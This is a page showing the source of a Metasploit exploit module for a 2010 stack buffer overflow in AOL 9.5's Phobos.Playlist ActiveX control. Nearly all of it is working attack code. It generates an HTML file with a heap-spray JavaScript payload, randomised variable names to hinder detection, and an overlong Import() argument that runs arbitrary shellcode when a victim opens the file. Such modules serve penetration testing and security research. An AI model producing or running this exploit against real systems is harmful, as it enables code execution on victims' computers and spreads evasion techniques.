Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/aol_phobos_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45##6# aol_phobos_bof.rb7#8# AOL 9.5 Phobos.Playlist 'Import()' Stack-based Buffer Overflow exploit for the Metasploit Framework9#10# Tested successfully on the following platforms:11# - AOL 9.5 (Revision 4337.155) on Internet Explorer 7, Windows XP SP312#13# Phobos.dll version tested:14# File Version: 9.5.0.115# ClassID: A105BD70-BF56-4D10-BC91-41C88321F47C16# RegKey Safe for Script: False17# RegKey Safe for Init: False18# Implements IObjectSafety: False19# KillBitSet: False20#21# Due to the safe for initialization and safe for scripting settings of this ActiveX control,22# exploitation is possible only from Local Machine Zone, which means the victim must run the23# generated exploit file locally.24#25# Trancer26# http://www.rec-sec.com27##2829class MetasploitModule < Msf::Exploit::Remote30Rank = AverageRanking3132include Msf::Exploit::FILEFORMAT3334def initialize(info = {})35super(update_info(info,36'Name' => 'AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow',37'Description' => %q{38This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.39By setting an overly long value to 'Import()', an attacker can overrun a buffer40and execute arbitrary code.4142NOTE: This ActiveX control is NOT marked safe for scripting or initialization.43},44'License' => MSF_LICENSE,45'Author' =>46[47'Trancer <mtrancer[at]gmail.com>'48],49'References' =>50[51[ 'OSVDB', '61964'],52[ 'EDB', '11204' ],53[ 'URL', 'http://www.rec-sec.com/2010/01/25/aol-playlist-class-buffer-overflow/' ],54],55'DefaultOptions' =>56{57'EXITFUNC' => 'process',58'DisablePayloadHandler' => true59},60'Payload' =>61{62'Space' => 1024,63'BadChars' => "\x00\x09\x0a\x0d'\\",64'StackAdjustment' => -3500,65},66'Platform' => 'win',67'Targets' =>68[69[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 1000 } ]70],71'DisclosureDate' => '2010-01-20',72'DefaultTarget' => 0))7374register_options(75[76OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),77])78end7980def exploit8182# Encode the shellcode83shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))8485# Setup exploit buffers86nops = Rex::Text.to_unescape([target.ret].pack('V'))87ret = Rex::Text.uri_encode([target.ret].pack('L'))88blocksize = 0x4000089fillto = 50090offset = target['Offset']9192# Randomize the javascript variable names93phobos = rand_text_alpha(rand(100) + 1)94j_shellcode = rand_text_alpha(rand(100) + 1)95j_nops = rand_text_alpha(rand(100) + 1)96j_ret = rand_text_alpha(rand(100) + 1)97j_headersize = rand_text_alpha(rand(100) + 1)98j_slackspace = rand_text_alpha(rand(100) + 1)99j_fillblock = rand_text_alpha(rand(100) + 1)100j_block = rand_text_alpha(rand(100) + 1)101j_memory = rand_text_alpha(rand(100) + 1)102j_counter = rand_text_alpha(rand(30) + 2)103j_bla = rand_text_alpha(rand(8) + 4)104105html = %Q|<html>106<object classid='clsid:A105BD70-BF56-4D10-BC91-41C88321F47C' id='#{phobos}'></object>107<script>108#{j_shellcode}=unescape('#{shellcode}');109#{j_nops}=unescape('#{nops}');110#{j_headersize}=20;111#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;112while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};113#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});114#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});115while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};116#{j_memory}=new Array();117for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};118119var #{j_ret}='';120for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');121#{phobos}.Import(#{j_ret},'#{j_bla}','True','True');122</script>123</html>|124125print_status("Creating '#{datastore['FILENAME']}' file ...")126127file_create(html)128end129end130131132